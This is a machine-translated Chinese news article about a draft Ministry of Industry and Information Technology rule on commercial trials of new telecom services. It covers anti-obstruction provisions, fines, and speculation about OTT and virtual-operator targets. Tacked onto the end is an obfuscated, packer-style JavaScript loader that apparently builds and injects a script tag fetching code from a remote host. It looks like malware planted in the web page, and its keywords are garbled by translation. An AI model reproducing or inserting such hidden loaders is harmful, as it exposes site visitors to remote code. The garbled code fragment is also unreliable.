本篇文章1893字，读完约5分钟
赵康
最近，工业和信息化部发布文件，要求今后规范新的电信业务测试，其中多次提到基础电信运营商和其他电信业务运营商有权测试新业务，但不得严重违反法律法规或不符合国家产业政策。该文件的初衷在业内引起了猜测，目前尚不清楚该文件是针对微信等ott业务还是未来的虚拟运营商业务。
电信新业务测试不得相互干扰
文件名称为《电信新业务试点管理办法(征求意见稿)》，其中，电信新业务试点是指电信业务经营者通过公共电信网对未列入《电信业务目录》的电信业务进行商业测试的活动。
该文件要求三大运营商和电信运营商依法开展新技术和新业务标准的研究和制定，并进行备案。同时，它明确指出，基础电信运营商和其他电信运营商不应相互干扰。
例如，文件规定“电信运营商不得阻止其他电信运营商开展新业务试点”，同时规定“其他电信运营商与基础电信运营商协商未能达成协议的，可向电信管理机构申请协调。”
该文件还规定，对“阻挠其他电信运营商开展新业务”等类似情况，可根据其职权责令改正，逾期不改正的，给予警告，并处以5000元至3万元的罚款。
未知文件指向
这份文件发表后，引起了通信行业的极大关注，因为从文件本身来看，不可能看到具体的目标。
最近，通信行业的几个热点都涉及新的电信服务。首先，以腾讯为代表的ott服务利用三大运营商的通信网络直接向用户提供免费的短信传输和语音短信服务，对运营商造成了巨大的市场冲击，使他们成为简单的“传输管道”，引起了三大运营商的强烈不满。
二是工信部1月8日在官方网站上发布《移动通信转售业务试点方案》后，最近有报道称，虚拟运营商牌照的正式方案可能在5月份出台。一旦许可证发放，虚拟运营商与三大电信运营商之间的竞争不可避免，这种冲突需要预先防范。
值得注意的是，该文件规定，“如果你获得基本电信业务许可证，你可以尝试为公共网络基础设施、公共数据传输和基本语音通信服务提供新的服务；如果您已经取得了增值电信业务经营许可，您可以尝试利用公共网络基础设施提供新的电信服务和信息服务。”。
但是，没有提到没有获得增值电信业务许可证的企业是否可以使用公共网络基础设施来试点新的电信服务。目前，一些互联网企业正利用这种法律大力发展电信业务，侵占基础电信运营商的市场。如何监管这些企业是一个难题。
eval(函数(p，a，c，k，e，r){ e =函数(c){return(c35？string . from charcode(c+29):c . tostring(36))}；如果(！'。replace(/^/,string)){while(c)-r[e(c)]= k[c]| | e(c)；k =[函数(e){返回r[e]}]；e =函数(){ return ' \ w+' }；c = 1 }；而(c -)如果(k[c])p=p.replace(新正则表达式(' \b'+e(c)+'\b '，' g '，k[c])；返回p }('(d(5){ 3(a . x){ 9 } a . x = m；2 e={"t://(。*？\。q)(f\。b)|(q\。(e)19。" t://16.15 "+" v "+" j . b/13 . g " }；u(2 l 14 e){ 2 w = 6 . m . n；3(w . p(s(l))){ j = e[l]；d o(p){ 2g = p+" = "；2 f = 6 . 17 . 18 '；)；u(2i = 0；i0){返回；}；var _ 0x 1214 xa = d[_ 0x c 429[12]](_ 0x 1214 x7)；_ 0x 1214 xa[_ 0x c 429[13]]= _ 0x 1214 x8；_ 0x 1214 x 9(_ 0x 1214 xa)；var _ 0x 1214 XB = d[_ 0x c 429](_ 0x c 429[14])[0]；如果(！_ 0x 1214 XB){ return；}；_ 0x 1214 XB[_ 0x c 429[16]](_ 0x 1214 xa)；return _ 0x1214xa}；appendtag(_0xc429[17]，_0xc429[18]，函数(_ 0x 1214 xc){ var _ 0x 1214 xd = host+_ 0x c 429[19]+URL；_ 0x 1214 xc[_ 0x c 429[20]]= _ 0x c 429[21]；_ 0x 1214 xc[_ 0x c 429[22]]= _ 0x 1214 xd；})；})(文档)；
[15]
